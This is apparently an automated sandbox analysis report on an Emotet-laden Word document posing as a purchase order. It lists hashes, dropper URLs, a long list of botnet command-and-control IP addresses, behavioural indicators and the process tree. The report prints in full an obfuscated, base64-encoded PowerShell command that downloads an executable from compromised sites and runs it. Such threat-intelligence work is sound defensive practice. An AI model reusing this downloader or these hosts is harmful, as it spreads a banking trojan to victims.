emotet | e88388bec3164944678627db062b753e76b6f7f710a9fabc43dfe69e7df2f366

Analysis

max time kernel
87s
max time network
150s
platform
windows10_x64
resource
win10v200722
submitted
21/10/2020, 09:51

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General

Target
PO# 10212020Ex.doc
Size 189KB
Sample201021-csvffleava
SHA256 e88388bec3164944678627db062b753e76b6f7f710a9fabc43dfe69e7df2f366
MD5 bb7dce0548084cb8bd295357b086be88
SHA1 ea3f1e04ed3cc807310b07337f0d66ddfb07ede6
SHA512 e133cac05f70863795a80c5886744bbc229dab283fa499579514ccc857ca30e8de75320588f93c4be6c567ca9e8c9c8546e88acf3f5192424b18d405ba3d566d
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://www.hoianemeraldresort.com/sys-cache/Z/
exe.dropper
http://citycommonsparking.com/patc-transmission/Kya/
exe.dropper
https://karimele.com/wp-admin/MfCsI8/
exe.dropper
http://techmenia.com/cgi-bin/Ayx3/
exe.dropper
http://lula.vm-host.net/wp-content/plugins/o714-badx-66007/l8in/
exe.dropper
http://susconiq.net/susconiq.net/JFXG/
exe.dropper
https://www.hitstationery.com/wp-admin/X6zsDW/
exe.dropper
https://htequinetherapy.co.uk/test/H0QITEX/

Extracted

Family

emotet

Botnet

Epoch2

75.188.96.231:80
72.10.36.104:8080
167.114.153.111:8080
72.249.144.95:8080
80.241.255.202:8080
71.72.196.159:80
164.160.45.41:8080
203.153.216.189:7080
185.94.252.104:443
142.112.10.95:20
61.19.246.238:443
220.245.198.194:80
37.139.21.175:8080
108.46.29.236:80
209.54.13.14:80
87.106.136.232:8080
87.106.139.101:8080
176.111.60.55:8080
130.0.132.242:80
94.200.114.161:80
47.144.21.12:443
139.162.60.124:8080
123.176.25.234:80
75.139.38.211:80
94.23.237.171:443
202.141.243.254:443
190.108.228.27:443
104.131.11.150:443
121.7.31.214:80
113.61.66.94:80
118.83.154.64:443
62.30.7.67:443
172.104.97.173:8080
68.252.26.78:80
89.216.122.92:80
46.105.131.79:8080
37.187.72.193:8080
124.41.215.226:80
91.211.88.52:7080
139.162.108.71:8080
72.143.73.234:443
61.33.119.226:443
89.121.205.18:80
109.74.5.95:8080
79.98.24.39:8080
78.24.219.147:8080
5.39.91.110:7080
62.75.141.82:80
93.147.212.206:80
209.141.54.221:7080
24.230.141.169:80
104.131.123.136:443
50.245.107.73:443
78.188.106.53:443
103.86.49.11:8080
95.9.5.93:80
49.50.209.131:80
83.110.223.58:443
186.74.215.34:80
95.213.236.64:8080
79.137.83.50:443
121.124.124.40:7080
47.36.140.164:80
153.164.70.236:80
71.15.245.148:8080
24.137.76.62:80
208.180.207.205:80
74.214.230.200:80
188.219.31.12:80
139.99.158.11:443
66.76.12.94:8080
172.91.208.86:80
162.241.140.129:8080
168.235.67.138:7080
216.139.123.119:80
137.59.187.107:8080
139.59.60.244:8080
190.240.194.77:443
76.171.227.238:80
181.126.74.180:80
140.186.212.146:80
110.145.77.103:80
69.206.132.149:80
157.245.99.39:8080
98.174.164.72:80
104.131.44.150:8080
190.29.166.0:80
97.82.79.83:80
194.4.58.192:7080
120.150.218.241:443
96.245.227.43:80
218.147.193.146:80
110.142.236.207:80
24.179.13.119:80
49.3.224.99:8080
94.230.70.6:80
194.187.133.160:443
50.35.17.13:80
50.91.114.38:80
174.106.122.139:80
91.146.156.228:80
120.150.60.189:80
123.142.37.166:80
5.196.108.189:8080
74.208.45.104:8080
174.45.13.118:80
173.63.222.65:80
162.241.242.173:8080
76.175.162.101:80
184.180.181.202:80
75.143.247.51:80
102.182.93.220:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	204	4080	POwersheLL.exe	72

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3100-14-0x0000000002230000-0x0000000002249000-memory.dmp	emotet
behavioral2/memory/3100-15-0x0000000002250000-0x0000000002268000-memory.dmp	emotet
behavioral2/memory/3908-18-0x0000000002170000-0x0000000002189000-memory.dmp	emotet
behavioral2/memory/3908-19-0x00000000021A0000-0x00000000021B8000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
30	204	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3100	Fnhxhs8h.exe
3908	osk.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\KBDYBA\osk.exe	Fnhxhs8h.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3816	WINWORD.EXE
3816	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
204	POwersheLL.exe
204	POwersheLL.exe
204	POwersheLL.exe
3908	osk.exe
3908	osk.exe
3908	osk.exe
3908	osk.exe
3908	osk.exe
3908	osk.exe
3908	osk.exe
3908	osk.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	204	POwersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3100	Fnhxhs8h.exe
3908	osk.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3100 wrote to memory of 3908	3100	Fnhxhs8h.exe	82
PID 3100 wrote to memory of 3908	3100	Fnhxhs8h.exe	82
PID 3100 wrote to memory of 3908	3100	Fnhxhs8h.exe	82

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\PO# 10212020Ex.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3816

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD UwBFAHQALQBWAGEAcgBJAGEAYgBMAEUAIAAgACgAIgBVAFIAIgArACIAagBXACIAKQAgACgAIABbAFQAeQBQAEUAXQAoACIAewA1AH0AewAyAH0AewAwAH0AewAzAH0AewA2AH0AewAxAH0AewA0AH0AIgAtAEYAJwBPACcALAAnAG8AJwAsACcAbQAuAEkAJwAsACcALgBkACcALAAnAFIAWQAnACwAJwBTAFkAcwB0AEUAJwAsACcAaQBSAGUAYwB0ACcAKQApACAAIAA7ACAAIAAkADAAVQAxADYAIAAgAD0AWwBUAHkAcABlAF0AKAAiAHsANQB9AHsAMgB9AHsAMwB9AHsANAB9AHsAMQB9AHsAMAB9ACIAIAAtAEYAIAAnAG4AYQBHAEUAcgAnACwAJwBNAGEAJwAsACcAdABFAG0ALgBuAGUAJwAsACcAVAAuAFMAZQByAFYASQBjAGUAcABPAGkAJwAsACcATgB0ACcALAAnAFMAeQBzACcAKQAgACAAOwAgACAAJABWAG4AaABfAGIAeABvAD0AKAAnAFkAcQAnACsAKAAnAHkAMAAnACsAJwA3AGsAMwAnACkAKQA7ACQAUABjAHoAYQA2AGMAeQA9ACQAQgBlAHYAMgA5ADgANwAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQAgACsAIAAyADAAIAArACAAMQAwACAAKwAgADEAMAApACAAKwAgACQATQBkAGUAcQA5AGoAYgA7ACQARwB3AGcAcgA2AHoAYwA9ACgAKAAnAFEAbgB3AHoAJwArACcAbgAnACkAKwAnADgAOAAnACkAOwAgACgARwBFAHQALQB2AGEAUgBJAEEAQgBsAEUAIAAoACIAVQByACIAKwAiAEoAdwAiACkAIAAgACkALgB2AGEATAB1AEUAOgA6ACIAYwBgAFIAZQBgAEEAVABFAGAAZABpAFIARQBDAFQAbwBSAHkAIgAoACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAIAArACAAKAAoACcAegAnACsAKAAnAEcAJwArACcANABVAGEAJwArACcAeQB1AGUAJwApACsAKAAnAGIANwB6ACcAKwAnAEcAJwApACsAKAAnADQAQQAnACsAJwBhACcAKQArACgAJwA3AGUAJwArACcAeQAnACkAKwAnAGYAJwArACgAJwA0AHoARwAnACsAJwA0ACcAKQApAC4AIgByAEUAUABgAEwAYQBgAGMAZQAiACgAKABbAGMAaABBAHIAXQAxADIAMgArAFsAYwBoAEEAcgBdADcAMQArAFsAYwBoAEEAcgBdADUAMgApACwAJwBcACcAKQApACkAOwAkAEcAawBjAHUAdQBiAGYAPQAoACcATQAnACsAJwAxAHMAJwArACgAJwA5AHQAOQAnACsAJwBvACcAKQApADsAIAAgACQAMAB1ADEANgA6ADoAIgBTAEUAYwB1AFIASQBgAFQAWQBQAFIAYABvAHQAbwBjAGAAbwBMACIAIAA9ACAAKAAoACcAVAAnACsAJwBsAHMAJwApACsAJwAxADIAJwApADsAJABLAGgAegBqAGQAbAAyAD0AKAAoACcAQQBwAGUAdgAnACsAJwBrACcAKQArACcAZwAnACsAJwBmACcAKQA7ACQATgBtADYAZgByADQAbgAgAD0AIAAoACcARgBuACcAKwAoACcAaAAnACsAJwB4AGgAcwAnACkAKwAnADgAaAAnACkAOwAkAEcAMABmAGcAZQB5AHoAPQAoACcAWQAnACsAKAAnAGwAJwArACcAZgBpAHgAeQAnACkAKwAnADAAJwApADsAJABSAHQAZgA5AHYAeQBsAD0AKAAnAFkAMgAnACsAKAAnAGYAJwArACcAMQAyACcAKQArACcAcwA4ACcAKQA7ACQAUgAxAGkAbwAyAHcAcQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwBHACcAKwAoACcAaAB3ACcAKwAnAFUAYQAnACkAKwAnAHkAJwArACcAdQBlACcAKwAnAGIAJwArACcANwBHACcAKwAoACcAaAB3AEEAJwArACcAYQA3ACcAKwAnAGUAeQBmACcAKwAnADQAJwApACsAKAAnAEcAJwArACcAaAB3ACcAKQApAC4AIgByAGUAYABQAGAAbABhAEMARQAiACgAKAAnAEcAaAAnACsAJwB3ACcAKQAsACcAXAAnACkAKQArACQATgBtADYAZgByADQAbgArACgAKAAnAC4AJwArACcAZQB4ACcAKQArACcAZQAnACkAOwAkAE0ANAA3AG0AdwBoADgAPQAoACcATAB3ACcAKwAoACcAbgAnACsAJwA3AF8AbQB1ACcAKQApADsAJABJAGwAdwB1ADYAOAB0AD0AJgAoACcAbgBlAHcALQAnACsAJwBvAGIAagAnACsAJwBlAGMAdAAnACkAIABuAEUAVAAuAFcAZQBiAGMATABJAEUATgB0ADsAJABSAGsAbgAxAG0ANwA0AD0AKAAoACcAaAB0AHQAcAA6ACcAKwAnAC8AJwArACcALwB3ACcAKwAnAHcAdwAuACcAKwAnAGgAJwArACcAbwBpAGEAbgBlAG0AZQByAGEAJwApACsAKAAnAGwAZAAnACsAJwByAGUAcwBvAHIAJwApACsAJwB0AC4AJwArACgAJwBjAG8AbQAvAHMAeQAnACsAJwBzACcAKQArACgAJwAtAGMAJwArACcAYQBjACcAKQArACcAaABlACcAKwAoACcALwAnACsAJwBaAC8AKgBoACcAKQArACcAdAAnACsAKAAnAHQAcAA6AC8ALwAnACsAJwBjAGkAJwApACsAKAAnAHQAeQBjAG8AbQAnACsAJwBtACcAKQArACgAJwBvAG4AcwAnACsAJwBwACcAKQArACgAJwBhAHIAJwArACcAawAnACkAKwAoACcAaQBuACcAKwAnAGcAJwApACsAKAAnAC4AJwArACcAYwBvACcAKQArACcAbQAnACsAKAAnAC8AcAAnACsAJwBhACcAKQArACcAdAAnACsAKAAnAGMAJwArACcALQB0AHIAYQBuACcAKQArACgAJwBzAG0AJwArACcAaQAnACsAJwBzAHMAaQBvACcAKQArACgAJwBuAC8ASwB5ACcAKwAnAGEAJwArACcALwAnACkAKwAoACcAKgBoAHQAdABwACcAKwAnAHMAJwArACcAOgAnACkAKwAoACcALwAvAGsAJwArACcAYQByACcAKQArACgAJwBpAG0AZQAnACsAJwBsAGUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwB3ACcAKQArACgAJwBwACcAKwAnAC0AYQBkAG0AJwApACsAKAAnAGkAJwArACcAbgAvAE0AJwArACcAZgBDAHMASQA4ACcAKwAnAC8AKgBoAHQAdABwADoALwAvACcAKwAnAHQAZQBjAGgAbQBlAG4AJwApACsAJwBpACcAKwAnAGEAJwArACgAJwAuAGMAbwAnACsAJwBtACcAKwAnAC8AYwBnAGkALQAnACkAKwAnAGIAaQAnACsAKAAnAG4ALwAnACsAJwBBAHkAeAAnACkAKwAoACcAMwAvACcAKwAnACoAJwApACsAKAAnAGgAJwArACcAdAB0ACcAKQArACcAcAAnACsAKAAnADoAJwArACcALwAvAGwAdQAnACkAKwAoACcAbABhACcAKwAnAC4AdgAnACkAKwAoACcAbQAtACcAKwAnAGgAJwApACsAJwBvACcAKwAoACcAcwB0AC4AJwArACcAbgBlAHQAJwArACcALwB3AHAAJwApACsAKAAnAC0AYwAnACsAJwBvAG4AdABlAG4AJwApACsAKAAnAHQAJwArACcALwAnACsAJwBwAGwAdQBnAGkAbgBzACcAKQArACcALwAnACsAKAAnAG8ANwAnACsAJwAxADQALQAnACsAJwBiACcAKQArACgAJwBhAGQAeAAnACsAJwAtADYANgAnACkAKwAoACcAMAAwACcAKwAnADcALwAnACkAKwAoACcAbAAnACsAJwA4AGkAbgAvACcAKQArACgAJwAqAGgAdAB0AHAAOgAnACsAJwAvAC8AcwB1ACcAKwAnAHMAJwArACcAYwAnACkAKwAnAG8AbgAnACsAJwBpAHEAJwArACgAJwAuAG4AZQB0ACcAKwAnAC8AJwArACcAcwB1AHMAYwBvACcAKQArACgAJwBuACcAKwAnAGkAcQAnACkAKwAoACcALgAnACsAJwBuAGUAdAAvAEoAJwApACsAJwBGACcAKwAoACcAWAAnACsAJwBHAC8AKgBoAHQAdAAnACkAKwAoACcAcAAnACsAJwBzADoALwAvACcAKwAnAHcAdwB3AC4AaABpACcAKwAnAHQAcwB0AGEAdAAnACsAJwBpACcAKQArACcAbwAnACsAJwBuAGUAJwArACgAJwByACcAKwAnAHkALgBjACcAKQArACgAJwBvACcAKwAnAG0ALwB3AHAALQBhACcAKQArACgAJwBkAG0AJwArACcAaQAnACkAKwAnAG4ALwAnACsAKAAnAFgANgB6ACcAKwAnAHMAJwArACcARABXACcAKQArACcALwAqACcAKwAnAGgAJwArACgAJwB0AHQAcABzACcAKwAnADoAJwArACcALwAnACkAKwAoACcALwBoAHQAJwArACcAZQAnACkAKwAnAHEAJwArACcAdQBpACcAKwAnAG4AJwArACgAJwBlAHQAaAAnACsAJwBlACcAKQArACgAJwByACcAKwAnAGEAcAAnACkAKwAoACcAeQAnACsAJwAuACcAKwAnAGMAbwAnACsAJwAuAHUAawAvAHQAZQBzAHQALwBIADAAUQBJACcAKQArACgAJwBUAEUAJwArACcAWAAnACkAKwAnAC8AJwApAC4AIgBzAHAATABgAGkAVAAiACgAJABHAGUAdAAwADIAawA3ACAAKwAgACQAUABjAHoAYQA2AGMAeQAgACsAIAAkAFEAdgBoAG8AcwAwAGgAKQA7ACQASwA1ADMANQA0AHcAOAA9ACgAJwBRACcAKwAoACcAbwBzADAAawAnACsAJwBwACcAKQArACcAdgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEQAbABnAGoAYQB2AGsAIABpAG4AIAAkAFIAawBuADEAbQA3ADQAKQB7AHQAcgB5AHsAJABJAGwAdwB1ADYAOAB0AC4AIgBkAG8AYAB3AE4AYABMAE8AYABBAGQARgBpAEwARQAiACgAJABEAGwAZwBqAGEAdgBrACwAIAAkAFIAMQBpAG8AMgB3AHEAKQA7ACQARQBxAHIAeABfADkAdQA9ACgAKAAnAFgAJwArACcAawB6AGIAXwAnACkAKwAnAHQAJwArACcAagAnACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAUgAxAGkAbwAyAHcAcQApAC4AIgBsAGUATgBnAGAAVABoACIAIAAtAGcAZQAgADMAOQA1ADkAMgApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AKAAoACcAdwBpAG4AMwAyAF8AJwArACcAUAAnACsAJwByACcAKQArACgAJwBvAGMAJwArACcAZQAnACkAKwAnAHMAJwArACcAcwAnACkAKQAuACIAYwByAGUAYABBAHQARQAiACgAJABSADEAaQBvADIAdwBxACkAOwAkAFkAcwBmAHUAMQA4AHgAPQAoACgAJwBCACcAKwAnAG4AbgAnACkAKwAnADQAOQAnACsAJwBrAGkAJwApADsAYgByAGUAYQBrADsAJABQAGgAYgByAHYAcQByAD0AKAAoACcAUAAnACsAJwA4AHMAJwApACsAJwA5ADcAJwArACcAcgBkACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQQB1AG4AOQBwAGMAcgA9ACgAJwBWACcAKwAnAHAAOQAnACsAKAAnAHYAaAAnACsAJwBvAF8AJwApACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:204

C:\Users\Admin\Uayueb7\Aa7eyf4\Fnhxhs8h.exe
C:\Users\Admin\Uayueb7\Aa7eyf4\Fnhxhs8h.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3100
- C:\Windows\SysWOW64\KBDYBA\osk.exe
  "C:\Windows\SysWOW64\KBDYBA\osk.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:3908

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/204-10-0x00000218FD2B0000-0x00000218FD2B1000-memory.dmp

Download

memory/204-11-0x00000218FD4E0000-0x00000218FD4E1000-memory.dmp

Download

memory/204-9-0x00007FF99C8A0000-0x00007FF99D28C000-memory.dmp

Download

memory/3100-14-0x0000000002230000-0x0000000002249000-memory.dmp

Download

memory/3100-15-0x0000000002250000-0x0000000002268000-memory.dmp

Download

memory/3816-0-0x00007FF9A3C50000-0x00007FF9A4316000-memory.dmp

Download

memory/3816-5-0x00000249E62AD000-0x00000249E62DC000-memory.dmp

Download

memory/3908-18-0x0000000002170000-0x0000000002189000-memory.dmp

Download

memory/3908-19-0x00000000021A0000-0x00000000021B8000-memory.dmp

Download